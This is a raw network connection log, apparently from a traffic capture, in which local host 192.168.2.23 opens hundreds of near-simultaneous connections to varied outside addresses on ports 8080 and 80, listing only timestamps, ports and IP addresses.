Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	172.45.198.132
Mar 21, 2024 05:16:52.903135061 CET	19035	80	192.168.2.23	178.87.156.135
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	184.105.232.158
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	184.109.238.151
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	184.112.188.240
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	98.210.17.37
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	98.34.12.202
Mar 21, 2024 05:16:52.903140068 CET	19033	8080	192.168.2.23	184.192.166.76
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	172.13.172.5
Mar 21, 2024 05:16:52.903140068 CET	19035	80	192.168.2.23	178.96.235.124
Mar 21, 2024 05:16:52.903134108 CET	19033	8080	192.168.2.23	98.110.244.222
Mar 21, 2024 05:16:52.903143883 CET	19035	80	192.168.2.23	178.14.177.198
Mar 21, 2024 05:16:52.903143883 CET	19033	8080	192.168.2.23	172.73.197.113
Mar 21, 2024 05:16:52.903146982 CET	19033	8080	192.168.2.23	184.84.47.188
Mar 21, 2024 05:16:52.903146982 CET	19033	8080	192.168.2.23	184.23.45.182
Mar 21, 2024 05:16:52.903168917 CET	19033	8080	192.168.2.23	98.46.46.254
Mar 21, 2024 05:16:52.903191090 CET	19033	8080	192.168.2.23	172.185.200.67
Mar 21, 2024 05:16:52.903191090 CET	19033	8080	192.168.2.23	184.59.78.215
Mar 21, 2024 05:16:52.903192043 CET	19033	8080	192.168.2.23	184.218.13.191
Mar 21, 2024 05:16:52.903191090 CET	19035	80	192.168.2.23	178.186.200.214
Mar 21, 2024 05:16:52.903192043 CET	19033	8080	192.168.2.23	98.200.168.78
Mar 21, 2024 05:16:52.903192043 CET	19033	8080	192.168.2.23	184.199.148.226
Mar 21, 2024 05:16:52.903191090 CET	19033	8080	192.168.2.23	172.239.130.103
Mar 21, 2024 05:16:52.903191090 CET	19033	8080	192.168.2.23	172.29.216.124
Mar 21, 2024 05:16:52.903192043 CET	19033	8080	192.168.2.23	172.167.135.253
Mar 21, 2024 05:16:52.903192043 CET	19033	8080	192.168.2.23	172.110.28.175
Mar 21, 2024 05:16:52.903192043 CET	19033	8080	192.168.2.23	172.233.85.107
Mar 21, 2024 05:16:52.903191090 CET	19033	8080	192.168.2.23	172.184.189.198
Mar 21, 2024 05:16:52.903196096 CET	19033	8080	192.168.2.23	184.63.155.197
Mar 21, 2024 05:16:52.903196096 CET	19033	8080	192.168.2.23	172.121.219.127
Mar 21, 2024 05:16:52.903213024 CET	19033	8080	192.168.2.23	184.50.190.190
Mar 21, 2024 05:16:52.903213024 CET	19033	8080	192.168.2.23	184.128.203.23
Mar 21, 2024 05:16:52.903213024 CET	19033	8080	192.168.2.23	172.65.244.185
Mar 21, 2024 05:16:52.903213024 CET	19033	8080	192.168.2.23	172.134.92.204
Mar 21, 2024 05:16:52.903213024 CET	19033	8080	192.168.2.23	98.46.24.255
Mar 21, 2024 05:16:52.903196096 CET	19033	8080	192.168.2.23	184.199.178.13
Mar 21, 2024 05:16:52.903196096 CET	19033	8080	192.168.2.23	98.16.43.47
Mar 21, 2024 05:16:52.903196096 CET	19033	8080	192.168.2.23	98.20.53.46
Mar 21, 2024 05:16:52.903196096 CET	19033	8080	192.168.2.23	172.59.82.104
Mar 21, 2024 05:16:52.903223038 CET	19035	80	192.168.2.23	178.229.174.172
Mar 21, 2024 05:16:52.903223038 CET	19033	8080	192.168.2.23	172.37.68.1
Mar 21, 2024 05:16:52.903223038 CET	19033	8080	192.168.2.23	184.11.49.194
Mar 21, 2024 05:16:52.903225899 CET	19033	8080	192.168.2.23	184.213.18.13
Mar 21, 2024 05:16:52.903223038 CET	19033	8080	192.168.2.23	98.34.172.251
Mar 21, 2024 05:16:52.903223038 CET	19035	80	192.168.2.23	178.83.32.1
Mar 21, 2024 05:16:52.903228045 CET	19033	8080	192.168.2.23	184.2.53.171
Mar 21, 2024 05:16:52.903223038 CET	19033	8080	192.168.2.23	172.111.63.10
Mar 21, 2024 05:16:52.903232098 CET	19033	8080	192.168.2.23	172.21.68.15
Mar 21, 2024 05:16:52.903228045 CET	19033	8080	192.168.2.23	98.134.168.253
Mar 21, 2024 05:16:52.903232098 CET	19035	80	192.168.2.23	178.197.149.136
Mar 21, 2024 05:16:52.903228045 CET	19033	8080	192.168.2.23	184.218.167.123
Mar 21, 2024 05:16:52.903232098 CET	19035	80	192.168.2.23	178.182.203.241
Mar 21, 2024 05:16:52.903232098 CET	19035	80	192.168.2.23	178.122.199.252
Mar 21, 2024 05:16:52.903239965 CET	19033	8080	192.168.2.23	172.126.168.180
Mar 21, 2024 05:16:52.903239965 CET	19033	8080	192.168.2.23	172.245.74.156
Mar 21, 2024 05:16:52.903239965 CET	19035	80	192.168.2.23	178.238.151.219
Mar 21, 2024 05:16:52.903268099 CET	19033	8080	192.168.2.23	184.92.139.177
Mar 21, 2024 05:16:52.903268099 CET	19033	8080	192.168.2.23	98.188.253.85
Mar 21, 2024 05:16:52.903268099 CET	19033	8080	192.168.2.23	184.119.98.200
Mar 21, 2024 05:16:52.903268099 CET	19033	8080	192.168.2.23	98.86.100.133
Mar 21, 2024 05:16:52.903284073 CET	19033	8080	192.168.2.23	98.227.73.119
Mar 21, 2024 05:16:52.903285027 CET	19033	8080	192.168.2.23	184.86.27.23
Mar 21, 2024 05:16:52.903285027 CET	19033	8080	192.168.2.23	98.0.214.139
Mar 21, 2024 05:16:52.903285027 CET	19033	8080	192.168.2.23	184.17.90.49
Mar 21, 2024 05:16:52.903287888 CET	19033	8080	192.168.2.23	184.151.117.238
Mar 21, 2024 05:16:52.903285027 CET	19033	8080	192.168.2.23	184.31.39.2
Mar 21, 2024 05:16:52.903287888 CET	19033	8080	192.168.2.23	98.62.60.3
Mar 21, 2024 05:16:52.903285027 CET	19033	8080	192.168.2.23	172.20.156.160
Mar 21, 2024 05:16:52.903287888 CET	19033	8080	192.168.2.23	172.136.96.3
Mar 21, 2024 05:16:52.903287888 CET	19033	8080	192.168.2.23	172.122.165.165
Mar 21, 2024 05:16:52.903287888 CET	19033	8080	192.168.2.23	98.128.39.220
Mar 21, 2024 05:16:52.903287888 CET	19033	8080	192.168.2.23	172.223.210.103
Mar 21, 2024 05:16:52.903299093 CET	19033	8080	192.168.2.23	184.40.5.103
Mar 21, 2024 05:16:52.903299093 CET	19033	8080	192.168.2.23	184.164.49.23
Mar 21, 2024 05:16:52.903299093 CET	19033	8080	192.168.2.23	98.200.29.19
Mar 21, 2024 05:16:52.903299093 CET	19035	80	192.168.2.23	178.147.177.214
Mar 21, 2024 05:16:52.903300047 CET	19033	8080	192.168.2.23	98.20.126.23
Mar 21, 2024 05:16:52.903300047 CET	19035	80	192.168.2.23	178.207.130.214
Mar 21, 2024 05:16:52.903299093 CET	19035	80	192.168.2.23	178.196.67.133
Mar 21, 2024 05:16:52.903306007 CET	19033	8080	192.168.2.23	172.193.6.152
Mar 21, 2024 05:16:52.903306007 CET	19033	8080	192.168.2.23	184.132.211.113
Mar 21, 2024 05:16:52.903306007 CET	19033	8080	192.168.2.23	184.19.245.171
Mar 21, 2024 05:16:52.903307915 CET	19033	8080	192.168.2.23	172.121.174.173
Mar 21, 2024 05:16:52.903307915 CET	19033	8080	192.168.2.23	98.41.93.144
Mar 21, 2024 05:16:52.903307915 CET	19033	8080	192.168.2.23	184.41.1.144
Mar 21, 2024 05:16:52.903307915 CET	19033	8080	192.168.2.23	184.154.198.145
Mar 21, 2024 05:16:52.903320074 CET	19033	8080	192.168.2.23	172.87.43.249
Mar 21, 2024 05:16:52.903320074 CET	19033	8080	192.168.2.23	98.171.170.30
Mar 21, 2024 05:16:52.903320074 CET	19035	80	192.168.2.23	178.145.203.49
Mar 21, 2024 05:16:52.903332949 CET	19033	8080	192.168.2.23	184.71.134.117
Mar 21, 2024 05:16:52.903332949 CET	19033	8080	192.168.2.23	172.191.145.138
Mar 21, 2024 05:16:52.903332949 CET	19033	8080	192.168.2.23	98.13.121.25
Mar 21, 2024 05:16:52.903332949 CET	19035	80	192.168.2.23	178.67.112.181
Mar 21, 2024 05:16:52.903332949 CET	19033	8080	192.168.2.23	172.187.92.113
Mar 21, 2024 05:16:52.903332949 CET	19033	8080	192.168.2.23	184.169.30.228
Mar 21, 2024 05:16:52.903332949 CET	19033	8080	192.168.2.23	184.39.61.36
Mar 21, 2024 05:16:52.903332949 CET	19035	80	192.168.2.23	178.189.234.177
Mar 21, 2024 05:16:52.903350115 CET	19033	8080	192.168.2.23	98.198.80.81
Mar 21, 2024 05:16:52.903350115 CET	19033	8080	192.168.2.23	98.6.74.201
Mar 21, 2024 05:16:52.903350115 CET	19033	8080	192.168.2.23	184.228.179.15
Mar 21, 2024 05:16:52.903350115 CET	19033	8080	192.168.2.23	172.54.18.104
Mar 21, 2024 05:16:52.903350115 CET	19033	8080	192.168.2.23	172.135.220.9
Mar 21, 2024 05:16:52.903354883 CET	19033	8080	192.168.2.23	172.210.141.42
Mar 21, 2024 05:16:52.903356075 CET	19033	8080	192.168.2.23	172.239.204.235
Mar 21, 2024 05:16:52.903356075 CET	19033	8080	192.168.2.23	172.98.166.17
Mar 21, 2024 05:16:52.903356075 CET	19033	8080	192.168.2.23	172.31.44.247
Mar 21, 2024 05:16:52.903357029 CET	19035	80	192.168.2.23	178.29.46.53
Mar 21, 2024 05:16:52.903356075 CET	19033	8080	192.168.2.23	172.64.105.34
Mar 21, 2024 05:16:52.903357983 CET	19035	80	192.168.2.23	178.214.194.96
Mar 21, 2024 05:16:52.903357983 CET	19033	8080	192.168.2.23	184.223.201.130
Mar 21, 2024 05:16:52.903359890 CET	19033	8080	192.168.2.23	184.196.71.51
Mar 21, 2024 05:16:52.903359890 CET	19033	8080	192.168.2.23	184.67.216.66
Mar 21, 2024 05:16:52.903359890 CET	19033	8080	192.168.2.23	172.36.232.249
Mar 21, 2024 05:16:52.903367996 CET	19033	8080	192.168.2.23	98.180.192.108
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	98.119.253.222
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	172.159.48.139
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	98.153.52.37
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	98.26.83.149
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	172.250.145.93
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	184.121.61.230
Mar 21, 2024 05:16:52.903376102 CET	19035	80	192.168.2.23	178.112.153.197
Mar 21, 2024 05:16:52.903376102 CET	19033	8080	192.168.2.23	98.170.19.186
Mar 21, 2024 05:16:52.903378963 CET	19033	8080	192.168.2.23	184.222.237.62
Mar 21, 2024 05:16:52.903378963 CET	19033	8080	192.168.2.23	184.171.250.43
Mar 21, 2024 05:16:52.903382063 CET	19033	8080	192.168.2.23	98.101.152.47
Mar 21, 2024 05:16:52.903383970 CET	19033	8080	192.168.2.23	98.48.178.120
Mar 21, 2024 05:16:52.903383970 CET	19035	80	192.168.2.23	178.62.198.20
Mar 21, 2024 05:16:52.903383970 CET	19033	8080	192.168.2.23	184.82.154.10
Mar 21, 2024 05:16:52.903384924 CET	19033	8080	192.168.2.23	172.127.174.153
Mar 21, 2024 05:16:52.903388977 CET	19033	8080	192.168.2.23	184.195.108.162
Mar 21, 2024 05:16:52.903388977 CET	19033	8080	192.168.2.23	172.99.101.10
Mar 21, 2024 05:16:52.903393984 CET	19033	8080	192.168.2.23	98.232.61.24
Mar 21, 2024 05:16:52.903393984 CET	19033	8080	192.168.2.23	98.172.166.26
Mar 21, 2024 05:16:52.903393984 CET	19033	8080	192.168.2.23	98.198.54.25
Mar 21, 2024 05:16:52.903393984 CET	19033	8080	192.168.2.23	98.207.244.50
Mar 21, 2024 05:16:52.903393984 CET	19033	8080	192.168.2.23	184.181.219.81
Mar 21, 2024 05:16:52.903393984 CET	19033	8080	192.168.2.23	172.221.30.44
Mar 21, 2024 05:16:52.903409958 CET	19033	8080	192.168.2.23	184.81.6.239
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	184.71.177.21
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	184.136.45.203
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	184.0.120.164
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	172.179.2.151
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	98.173.101.171
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	172.123.252.162
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	184.249.36.253
Mar 21, 2024 05:16:52.903434038 CET	19033	8080	192.168.2.23	98.85.174.126
Mar 21, 2024 05:16:52.903439999 CET	19033	8080	192.168.2.23	184.2.172.90
Mar 21, 2024 05:16:52.903440952 CET	19033	8080	192.168.2.23	184.45.72.250
Mar 21, 2024 05:16:52.903441906 CET	19035	80	192.168.2.23	178.161.3.113
Mar 21, 2024 05:16:52.903441906 CET	19033	8080	192.168.2.23	184.225.190.120
Mar 21, 2024 05:16:52.903441906 CET	19035	80	192.168.2.23	178.85.200.77
Mar 21, 2024 05:16:52.903446913 CET	19035	80	192.168.2.23	178.35.89.165
Mar 21, 2024 05:16:52.903446913 CET	19033	8080	192.168.2.23	184.146.109.191
Mar 21, 2024 05:16:52.903446913 CET	19035	80	192.168.2.23	178.114.64.120
Mar 21, 2024 05:16:52.903446913 CET	19035	80	192.168.2.23	178.248.39.90
Mar 21, 2024 05:16:52.903446913 CET	19033	8080	192.168.2.23	98.247.181.168
Mar 21, 2024 05:16:52.903446913 CET	19035	80	192.168.2.23	178.43.28.202
Mar 21, 2024 05:16:52.903455973 CET	19033	8080	192.168.2.23	98.61.81.20
Mar 21, 2024 05:16:52.903461933 CET	19033	8080	192.168.2.23	172.57.105.169
Mar 21, 2024 05:16:52.903461933 CET	19033	8080	192.168.2.23	184.110.194.74
Mar 21, 2024 05:16:52.903461933 CET	19033	8080	192.168.2.23	98.208.23.53
Mar 21, 2024 05:16:52.903461933 CET	19035	80	192.168.2.23	178.141.101.77
Mar 21, 2024 05:16:52.903462887 CET	19035	80	192.168.2.23	178.182.93.25
Mar 21, 2024 05:16:52.903462887 CET	19035	80	192.168.2.23	178.79.189.80
Mar 21, 2024 05:16:52.903474092 CET	19033	8080	192.168.2.23	98.140.24.176
Mar 21, 2024 05:16:52.903476954 CET	19033	8080	192.168.2.23	184.44.241.12
Mar 21, 2024 05:16:52.903476954 CET	19033	8080	192.168.2.23	172.48.67.142
Mar 21, 2024 05:16:52.903490067 CET	19033	8080	192.168.2.23	184.36.143.238
Mar 21, 2024 05:16:52.903506994 CET	19033	8080	192.168.2.23	184.251.236.183
Mar 21, 2024 05:16:52.903506994 CET	19035	80	192.168.2.23	178.221.66.81
Mar 21, 2024 05:16:52.903510094 CET	19033	8080	192.168.2.23	172.195.117.9
Mar 21, 2024 05:16:52.903510094 CET	19033	8080	192.168.2.23	98.21.242.23
Mar 21, 2024 05:16:52.903510094 CET	19035	80	192.168.2.23	178.90.137.41
Mar 21, 2024 05:16:52.903522015 CET	19035	80	192.168.2.23	178.223.158.63
Mar 21, 2024 05:16:52.903522015 CET	19035	80	192.168.2.23	178.241.196.13
Mar 21, 2024 05:16:52.903523922 CET	19035	80	192.168.2.23	178.91.255.169
Mar 21, 2024 05:16:52.903523922 CET	19033	8080	192.168.2.23	184.65.93.19
Mar 21, 2024 05:16:52.903523922 CET	19033	8080	192.168.2.23	172.204.105.179
Mar 21, 2024 05:16:52.903527975 CET	19033	8080	192.168.2.23	98.109.23.48
Mar 21, 2024 05:16:52.903527975 CET	19033	8080	192.168.2.23	98.12.207.131
Mar 21, 2024 05:16:52.903534889 CET	19033	8080	192.168.2.23	98.228.195.67
Mar 21, 2024 05:16:52.903534889 CET	19033	8080	192.168.2.23	184.31.233.131
Mar 21, 2024 05:16:52.903534889 CET	19033	8080	192.168.2.23	184.123.155.17
Mar 21, 2024 05:16:52.903534889 CET	19033	8080	192.168.2.23	98.253.158.60
Mar 21, 2024 05:16:52.903543949 CET	19033	8080	192.168.2.23	98.46.23.18
Mar 21, 2024 05:16:52.903544903 CET	19035	80	192.168.2.23	178.78.76.133
Mar 21, 2024 05:16:52.903544903 CET	19035	80	192.168.2.23	178.85.157.146
Mar 21, 2024 05:16:52.903544903 CET	19033	8080	192.168.2.23	98.184.40.89
Mar 21, 2024 05:16:52.903548956 CET	19033	8080	192.168.2.23	98.47.227.58
Mar 21, 2024 05:16:52.903544903 CET	19033	8080	192.168.2.23	98.239.201.19
Mar 21, 2024 05:16:52.903547049 CET	19033	8080	192.168.2.23	184.193.95.27
Mar 21, 2024 05:16:52.903544903 CET	19033	8080	192.168.2.23	98.108.73.190
Mar 21, 2024 05:16:52.903544903 CET	19033	8080	192.168.2.23	172.176.133.245
Mar 21, 2024 05:16:52.903544903 CET	19033	8080	192.168.2.23	172.5.243.8
Mar 21, 2024 05:16:52.903547049 CET	19033	8080	192.168.2.23	172.211.48.242
Mar 21, 2024 05:16:52.903554916 CET	19033	8080	192.168.2.23	172.120.41.8
Mar 21, 2024 05:16:52.903547049 CET	19033	8080	192.168.2.23	98.236.103.14
Mar 21, 2024 05:16:52.903547049 CET	19033	8080	192.168.2.23	172.36.44.233
Mar 21, 2024 05:16:52.903559923 CET	19035	80	192.168.2.23	178.208.35.206
Mar 21, 2024 05:16:52.903559923 CET	19035	80	192.168.2.23	178.121.252.253
Mar 21, 2024 05:16:52.903559923 CET	19033	8080	192.168.2.23	184.133.103.48
Mar 21, 2024 05:16:52.903567076 CET	19033	8080	192.168.2.23	172.163.83.223
Mar 21, 2024 05:16:52.903584957 CET	19033	8080	192.168.2.23	172.158.90.165
Mar 21, 2024 05:16:52.903584957 CET	19033	8080	192.168.2.23	172.50.250.255
Mar 21, 2024 05:16:52.903588057 CET	19033	8080	192.168.2.23	98.140.196.159
Mar 21, 2024 05:16:52.903599024 CET	19033	8080	192.168.2.23	184.195.97.189
Mar 21, 2024 05:16:52.903600931 CET	19033	8080	192.168.2.23	98.34.157.132
Mar 21, 2024 05:16:52.903603077 CET	19035	80	192.168.2.23	178.23.150.215
Mar 21, 2024 05:16:52.903605938 CET	19033	8080	192.168.2.23	98.135.44.207
Mar 21, 2024 05:16:52.903618097 CET	19033	8080	192.168.2.23	172.79.227.214
Mar 21, 2024 05:16:52.903618097 CET	19033	8080	192.168.2.23	98.173.103.18
Mar 21, 2024 05:16:52.903625011 CET	19033	8080	192.168.2.23	172.219.161.92
Mar 21, 2024 05:16:52.903625965 CET	19035	80	192.168.2.23	178.31.46.230
Mar 21, 2024 05:16:52.903626919 CET	19035	80	192.168.2.23	178.253.23.203
Mar 21, 2024 05:16:52.903625011 CET	19033	8080	192.168.2.23	184.255.25.116
Mar 21, 2024 05:16:52.903625011 CET	19033	8080	192.168.2.23	98.15.65.144
Mar 21, 2024 05:16:52.903625965 CET	19033	8080	192.168.2.23	172.143.184.252
Mar 21, 2024 05:16:52.903625011 CET	19033	8080	192.168.2.23	172.133.243.188
Mar 21, 2024 05:16:52.903625965 CET	19035	80	192.168.2.23	178.250.204.199
Mar 21, 2024 05:16:52.903626919 CET	19033	8080	192.168.2.23	172.121.111.70
Mar 21, 2024 05:16:52.903628111 CET	19033	8080	192.168.2.23	98.227.180.36
Mar 21, 2024 05:16:52.903626919 CET	19033	8080	192.168.2.23	98.173.213.120
Mar 21, 2024 05:16:52.903628111 CET	19033	8080	192.168.2.23	184.47.121.192
Mar 21, 2024 05:16:52.903640985 CET	19033	8080	192.168.2.23	172.198.212.116
Mar 21, 2024 05:16:52.903640985 CET	19033	8080	192.168.2.23	172.151.189.193
Mar 21, 2024 05:16:52.903676987 CET	19035	80	192.168.2.23	178.43.118.170
Mar 21, 2024 05:16:52.903693914 CET	19033	8080	192.168.2.23	172.126.70.155
Mar 21, 2024 05:16:52.903693914 CET	19033	8080	192.168.2.23	184.189.96.120
Mar 21, 2024 05:16:52.903696060 CET	19033	8080	192.168.2.23	184.187.158.78
Mar 21, 2024 05:16:52.903696060 CET	19033	8080	192.168.2.23	172.141.185.48
Mar 21, 2024 05:16:52.903698921 CET	19033	8080	192.168.2.23	184.6.14.132
Mar 21, 2024 05:16:52.903700113 CET	19033	8080	192.168.2.23	98.168.24.251
Mar 21, 2024 05:16:52.903700113 CET	19033	8080	192.168.2.23	172.254.177.189
Mar 21, 2024 05:16:52.903700113 CET	19035	80	192.168.2.23	178.244.157.107
Mar 21, 2024 05:16:52.903701067 CET	19033	8080	192.168.2.23	184.32.132.229
Mar 21, 2024 05:16:52.903701067 CET	19033	8080	192.168.2.23	184.230.253.76
Mar 21, 2024 05:16:52.903701067 CET	19035	80	192.168.2.23	178.161.174.241
Mar 21, 2024 05:16:52.903701067 CET	19033	8080	192.168.2.23	172.37.65.140
Mar 21, 2024 05:16:52.903702974 CET	19033	8080	192.168.2.23	172.156.224.88
Mar 21, 2024 05:16:52.903702974 CET	19033	8080	192.168.2.23	184.166.35.164
Mar 21, 2024 05:16:52.903706074 CET	19033	8080	192.168.2.23	184.221.194.249
Mar 21, 2024 05:16:52.903706074 CET	19033	8080	192.168.2.23	98.100.43.119
Mar 21, 2024 05:16:52.903702974 CET	19033	8080	192.168.2.23	98.145.92.1
Mar 21, 2024 05:16:52.903706074 CET	19033	8080	192.168.2.23	172.240.130.47
Mar 21, 2024 05:16:52.903702974 CET	19033	8080	192.168.2.23	172.225.21.153
Mar 21, 2024 05:16:52.903716087 CET	19033	8080	192.168.2.23	98.93.44.248
Mar 21, 2024 05:16:52.903724909 CET	19033	8080	192.168.2.23	184.176.148.60
Mar 21, 2024 05:16:52.903724909 CET	19033	8080	192.168.2.23	172.13.234.153
Mar 21, 2024 05:16:52.903724909 CET	19033	8080	192.168.2.23	184.39.40.6
Mar 21, 2024 05:16:52.903733969 CET	19033	8080	192.168.2.23	172.115.229.64
Mar 21, 2024 05:16:52.903733969 CET	19033	8080	192.168.2.23	184.241.195.177
Mar 21, 2024 05:16:52.903733969 CET	19033	8080	192.168.2.23	98.15.83.200
Mar 21, 2024 05:16:52.903739929 CET	19033	8080	192.168.2.23	172.22.162.207
Mar 21, 2024 05:16:52.903739929 CET	19033	8080	192.168.2.23	98.194.242.190
Mar 21, 2024 05:16:52.903742075 CET	19033	8080	192.168.2.23	184.52.212.220
Mar 21, 2024 05:16:52.903742075 CET	19033	8080	192.168.2.23	172.102.111.162
Mar 21, 2024 05:16:52.903742075 CET	19033	8080	192.168.2.23	184.40.15.132
Mar 21, 2024 05:16:52.903742075 CET	19033	8080	192.168.2.23	172.223.23.213
Mar 21, 2024 05:16:52.903743982 CET	19035	80	192.168.2.23	178.89.98.238
Mar 21, 2024 05:16:52.903743982 CET	19033	8080	192.168.2.23	98.48.163.36
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	98.88.36.31
Mar 21, 2024 05:16:52.903743982 CET	19033	8080	192.168.2.23	98.177.200.148
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	184.129.42.164
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	172.237.67.215
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	184.55.3.172
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	184.18.160.144
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	98.184.22.142
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	184.115.161.226
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	172.8.102.239
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	184.159.210.44
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	98.30.78.165
Mar 21, 2024 05:16:52.903748989 CET	19033	8080	192.168.2.23	98.171.69.181
Mar 21, 2024 05:16:52.903744936 CET	19033	8080	192.168.2.23	172.188.123.197
Mar 21, 2024 05:16:52.903748989 CET	19035	80	192.168.2.23	178.17.68.24
Mar 21, 2024 05:16:52.903748989 CET	19033	8080	192.168.2.23	98.231.38.163
Mar 21, 2024 05:16:52.903753042 CET	19033	8080	192.168.2.23	184.57.66.67
Mar 21, 2024 05:16:52.903749943 CET	19033	8080	192.168.2.23	184.217.215.112
Mar 21, 2024 05:16:52.903753042 CET	19033	8080	192.168.2.23	184.155.125.56
Mar 21, 2024 05:16:52.903749943 CET	19033	8080	192.168.2.23	172.32.42.138
Mar 21, 2024 05:16:52.903800964 CET	19033	8080	192.168.2.23	184.42.194.146
Mar 21, 2024 05:16:52.903810024 CET	19033	8080	192.168.2.23	184.12.238.190
Mar 21, 2024 05:16:52.903810024 CET	19033	8080	192.168.2.23	184.21.167.192
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	172.202.241.7
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	98.89.37.114
Mar 21, 2024 05:16:52.903811932 CET	19035	80	192.168.2.23	178.26.37.189
Mar 21, 2024 05:16:52.903810024 CET	19033	8080	192.168.2.23	98.249.189.252
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	184.146.207.147
Mar 21, 2024 05:16:52.903810024 CET	19033	8080	192.168.2.23	172.154.62.138
Mar 21, 2024 05:16:52.903810978 CET	19035	80	192.168.2.23	178.38.129.71
Mar 21, 2024 05:16:52.903812885 CET	19033	8080	192.168.2.23	184.202.222.113
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	184.210.51.224
Mar 21, 2024 05:16:52.903812885 CET	19035	80	192.168.2.23	178.30.250.163
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	172.129.130.53
Mar 21, 2024 05:16:52.903812885 CET	19035	80	192.168.2.23	178.177.254.185
Mar 21, 2024 05:16:52.903811932 CET	19035	80	192.168.2.23	178.28.34.39
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	184.15.232.235
Mar 21, 2024 05:16:52.903811932 CET	19033	8080	192.168.2.23	98.117.248.73
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	184.203.114.237
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	184.21.187.107
Mar 21, 2024 05:16:52.903811932 CET	19033	8080	192.168.2.23	184.144.49.230
Mar 21, 2024 05:16:52.903810978 CET	19035	80	192.168.2.23	178.167.167.20
Mar 21, 2024 05:16:52.903810978 CET	19033	8080	192.168.2.23	184.91.206.216
Mar 21, 2024 05:16:52.903836966 CET	19035	80	192.168.2.23	178.201.1.2
Mar 21, 2024 05:16:52.903836966 CET	19033	8080	192.168.2.23	172.5.86.50
Mar 21, 2024 05:16:52.903836966 CET	19033	8080	192.168.2.23	172.166.136.47
Mar 21, 2024 05:16:52.903836966 CET	19033	8080	192.168.2.23	184.93.168.76
Mar 21, 2024 05:16:52.903841972 CET	19033	8080	192.168.2.23	172.116.80.180
Mar 21, 2024 05:16:52.903841972 CET	19035	80	192.168.2.23	178.60.97.181
Mar 21, 2024 05:16:52.903841972 CET	19033	8080	192.168.2.23	172.57.35.37
Mar 21, 2024 05:16:52.903844118 CET	19033	8080	192.168.2.23	184.3.123.146
Mar 21, 2024 05:16:52.903844118 CET	19033	8080	192.168.2.23	184.50.229.206
Mar 21, 2024 05:16:52.903844118 CET	19033	8080	192.168.2.23	184.182.41.81
Mar 21, 2024 05:16:52.903844118 CET	19033	8080	192.168.2.23	184.0.89.149
Mar 21, 2024 05:16:52.903853893 CET	19033	8080	192.168.2.23	172.189.226.48
Mar 21, 2024 05:16:52.903853893 CET	19033	8080	192.168.2.23	98.204.132.18
Mar 21, 2024 05:16:52.903853893 CET	19033	8080	192.168.2.23	172.116.46.165
Mar 21, 2024 05:16:52.903853893 CET	19033	8080	192.168.2.23	98.196.187.43
Mar 21, 2024 05:16:52.903863907 CET	19033	8080	192.168.2.23	184.59.179.139
Mar 21, 2024 05:16:52.903863907 CET	19033	8080	192.168.2.23	98.14.175.227
Mar 21, 2024 05:16:52.903863907 CET	19035	80	192.168.2.23	178.56.80.3
Mar 21, 2024 05:16:52.903863907 CET	19033	8080	192.168.2.23	172.177.189.135
Mar 21, 2024 05:16:52.903863907 CET	19035	80	192.168.2.23	178.127.224.242
Mar 21, 2024 05:16:52.903867960 CET	19033	8080	192.168.2.23	172.252.141.3
Mar 21, 2024 05:16:52.903867960 CET	19033	8080	192.168.2.23	172.168.236.184
Mar 21, 2024 05:16:52.903867960 CET	19033	8080	192.168.2.23	184.49.160.220
Mar 21, 2024 05:16:52.903882027 CET	19033	8080	192.168.2.23	172.140.153.1
Mar 21, 2024 05:16:52.903882980 CET	19033	8080	192.168.2.23	172.171.214.151
Mar 21, 2024 05:16:52.903882980 CET	19033	8080	192.168.2.23	98.215.161.137
Mar 21, 2024 05:16:52.903882980 CET	19033	8080	192.168.2.23	172.59.62.101
Mar 21, 2024 05:16:52.903882980 CET	19033	8080	192.168.2.23	172.12.71.26
Mar 21, 2024 05:16:52.903882980 CET	19035	80	192.168.2.23	178.78.233.41
Mar 21, 2024 05:16:52.903897047 CET	19033	8080	192.168.2.23	172.188.134.94
Mar 21, 2024 05:16:52.903908968 CET	19035	80	192.168.2.23	178.168.41.168
Mar 21, 2024 05:16:52.903908968 CET	19033	8080	192.168.2.23	98.119.191.61
